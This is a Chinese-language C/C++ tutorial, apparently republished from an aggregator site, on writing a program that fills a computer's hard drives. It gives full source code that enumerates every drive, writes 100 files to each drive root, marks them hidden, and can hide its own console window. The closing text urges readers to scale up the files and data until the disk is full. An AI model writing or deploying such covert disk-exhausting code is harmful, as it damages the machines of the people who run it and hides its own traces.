關於寫可塞滿硬碟的程式
我們先想想思路:
第一步:擷取邏輯盤符
第二步:建立檔案
第三步:檔案寫入資料
擴充要求:
一:隱藏視窗
二:檔案設定為隱藏屬性
下面我們對上述的思路介紹一個API,接受完後給出原始碼
GetLogicalDriveStrings function
Fills a buffer with strings that specify valid drives in the system.
DWORD WINAPI GetLogicalDriveStrings( _In_ DWORD nBufferLength, _Out_ LPTSTR lpBuffer );
此函數是把系統裡面可用的磁碟讀取到lpBuffer裡面
成功則返回擷取的總長度,
失敗有兩個情況一個是buffer不夠長,一個是其他問題
關於其他的API函數,都比較簡單,有些可以從命名意思就知道功能,在此不在介紹,源碼中也有注釋,
下面看原始碼
#include <Windows.h> int main() { //FreeConsole(); //隱藏控制台 char strDriveStrings[MAXBYTE] = { 0 }; //擷取邏輯地址 DWORD dwDriveStrLen = GetLogicalDriveStringsA(MAXBYTE, strDriveStrings); for (size_t i = 0; i < dwDriveStrLen; i += 4) //每4個位元組表示一個盤符 { char strTargetPath[MAX_PATH] = { 0 }, strRoot[4] = { 0 }; strncpy_s(strRoot,&strDriveStrings[i], 4); strcpy_s(strTargetPath, strRoot); //建立100個檔案 for (int j = 0; j < 100; j++) { char TempStrTargetPath[MAX_PATH]; strcpy_s(TempStrTargetPath, strTargetPath); char FileName[MAXBYTE]; char Date[MAXBYTE] = "11111"; wsprintf(FileName, "%d.txt", j); strcat_s(TempStrTargetPath, FileName); //建立檔案 HANDLE hFile; hFile = CreateFileA(TempStrTargetPath, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); if (hFile == INVALID_HANDLE_VALUE) continue; DWORD Pointer; //寫入資料 WriteFile(hFile, &Date, strlen(Date), &Pointer, NULL); CloseHandle(hFile); //將s所指向的某一塊記憶體中的前n個 位元組的內容全部設定為ch指定的ASCII值 memset(FileName, 0, sizeof(FileName)); //設定為隱藏 SetFileAttributesA(TempStrTargetPath, FILE_ATTRIBUTE_HIDDEN); } } return 0; }
把檔案瀏覽屬性設定好:
運行結果如下:
如果出現以下問題:
修改字元集如下:
所以大家只要多搞幾個檔案,多搞點資料,硬碟就會被塞滿
以上就是 C/C++輕鬆寫可塞滿硬碟的程式的內容,更多相關內容請關注topic.alibabacloud.com(www.php.cn)!